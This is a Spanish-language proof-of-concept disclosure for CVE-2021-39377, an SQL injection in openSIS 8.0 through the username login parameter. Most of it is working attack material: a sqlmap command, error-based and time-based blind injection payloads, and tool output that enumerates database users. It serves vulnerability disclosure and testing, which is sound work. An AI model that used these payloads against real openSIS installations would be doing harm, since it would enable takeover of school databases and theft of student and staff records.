security-n/cve-2021-39377Prueba de concepto para CVE-2021-39377, una vulnerabilidad de inyección SQL en openSIS 8.0 a través del parámetro username, que permite la toma de control de la base de datos mediante ataques ciegos basados en errores y en tiempo.
Existe una vulnerabilidad de inyección SQL en la versión 8.0 de openSIS cuando se usa MySQL (MariaDB) como base de datos de la aplicación. Un atacante malintencionado puede enviar comandos SQL a la base de datos MySQL (MariaDB) a través del parámetro vulnerable username=.
Página PHP vulnerable:
index.php - parámetro username
Payload vulnerable
sqlmap "http://localhost:8081/index.php" --users --data="USERNAME=admin&PASSWORD=test1234%21&language=en&log=" --dbms="MySQL" --level=3 --risk=2
Inyección SQL:
http://localhost:8081/index.php
Parameter: USERNAME (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: USERNAME=admin') AND (SELECT 4391 FROM(SELECT COUNT(*),CONCAT(0x71716b7071,(SELECT (ELT(4391=4391,1))),0x716b717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- IzoO&PASSWORD=test1234!&language=en&log=
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: USERNAME=admin') AND (SELECT 2137 FROM (SELECT(SLEEP(5)))BwzJ)-- sbsL&PASSWORD=test1234!&language=en&log=
[22:35:47] [INFO] testing MySQL
[22:35:47] [INFO] confirming MySQL
[22:35:47] [INFO] the back-end DBMS is MySQL
web application technology: PHP, PHP 7.4.21
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[22:35:47] [INFO] fetching database users
database management system users [3]:
[*] 'mariadb.sys'@'localhost'
[*] 'mysql'@'localhost'
[*] 'root'@'localhost'
Descubierto por Nathan Johnson, agosto de 2021